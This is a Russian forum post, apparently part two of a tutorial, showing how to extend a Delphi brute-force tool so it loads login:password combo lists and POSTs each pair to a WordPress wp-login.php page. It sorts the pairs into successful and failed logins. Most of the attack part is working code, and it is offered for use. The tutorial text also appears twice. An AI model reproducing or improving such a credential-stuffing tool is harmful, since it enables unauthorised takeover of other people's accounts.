- Регистрация
- 9 Май 2015
- Сообщения
- 1,562
- Баллы
- 155
Подумав, что собственно ждать, решил сразу запилить вторую часть.
Сейчас будем дорабатывать брут под разные виды списков (словарей). Как это понимать? Да легко: есть словари, где список логинов и паролей представлен в виде: login:password, а не только Only logins или Only passwords.
Вот под такой список сейчас и настроим брут. На той форме, что сделали в первой части, добавим несколько компонентов: ещё 1 memo, что бы разделить список BAD'ов и GOOD'ов; ещё 1 OpenDialog; ещё 1-у метку, 1 edit и 1 кнопку. edit сразу переименовываем в txtLogPass.

И поехали писать код:
Для кнопки открытия файла вида login:pass :
В принципе всё как и раньше. Теперь у нас стоит другая задача. В файле будут строки вида: логин:пароль. Надо как-то разбить эту строку на 2 части, в одной логин, во второй пароль. Как это сделать? Сейчас придумаем...
Немного теории. В Visual Basic есть такая функция - split. Они разбивает строку по определённому символу (разделителю). Например указал ей в качестве разделителя - ':' двоеточие, а в строке у нас такая запись: 'Hello:World'. Соответственно функция вернёт в первой строке Hello, а во второй World, так как разбила и раскидала по строкам. Удобно, ничего не скажешь.
Но теперь вспомним, что в Delphi, в примере с брутом мы используем StringList'ы. А у данных массивов есть такие свойства, как Delimiter, что так же означает разделитель.
Используем так:
Где PLL - загруженный файл вида login:pass. Вот и всё, теперь логин в первой строке, пароль во второй. Осталось немного модернизировать алгоритм брута. Я буду писать всё это в процедуре:
Ну а дальше уже или кидай RadioButton'ы, что бы у пользователя был выбор какого вида словарь выбрать, или же по кнопкам, в общем как хочешь.
Ну и конечно, всё работает:

Спасибо всем.
<........................>
Сейчас будем дорабатывать брут под разные виды списков (словарей). Как это понимать? Да легко: есть словари, где список логинов и паролей представлен в виде: login:password, а не только Only logins или Only passwords.
Вот под такой список сейчас и настроим брут. На той форме, что сделали в первой части, добавим несколько компонентов: ещё 1 memo, что бы разделить список BAD'ов и GOOD'ов; ещё 1 OpenDialog; ещё 1-у метку, 1 edit и 1 кнопку. edit сразу переименовываем в txtLogPass.

И поехали писать код:
Для кнопки открытия файла вида login:pass :
Код:
var Op1: TOpenDialog;
PLL: TStringList;
procedure TBrute.Button2Click(Sender: TObject);
begin
Op1:= TOpenDialog.Create(OpenDialog2); // Инициализация переменной типа TOpenDialog
Op1:= OpenDialog2; //Привязка переменной к компоненту
if Op1.Execute then
begin
txtLogPass.Text:= Op1.FileName;
PLL:= TStringList.Create;
PLL.LoadFromFile(Op1.FileName);
end;
end;
Немного теории. В Visual Basic есть такая функция - split. Они разбивает строку по определённому символу (разделителю). Например указал ей в качестве разделителя - ':' двоеточие, а в строке у нас такая запись: 'Hello:World'. Соответственно функция вернёт в первой строке Hello, а во второй World, так как разбила и раскидала по строкам. Удобно, ничего не скажешь.
Но теперь вспомним, что в Delphi, в примере с брутом мы используем StringList'ы. А у данных массивов есть такие свойства, как Delimiter, что так же означает разделитель.
Используем так:
Код:
PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;
Код:
public
procedure PassLogList;
procedure TBrute.PassLogList;
var I,p : Integer;
Result: TStringList;
Param: TStringList;
begin
PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;
Result:= TStringList.Create;
Param:= TStringList.Create;
p:= 0;
for i := 0 to PLL.Count-1 do
begin
Param.Add('pwd='+PLL.Strings[p]);
Param.Add('log='+PLL.Strings[p+1]);
Result.Text:= idHTTP1.Post('http://test1.ru/wp-login.php', Param);
if pos('logout',Result.Text) <> 0 then Memo1.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]) else
Memo2.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]);
P:= p+2;
end;
end;
Ну и конечно, всё работает:

Спасибо всем.
<........................>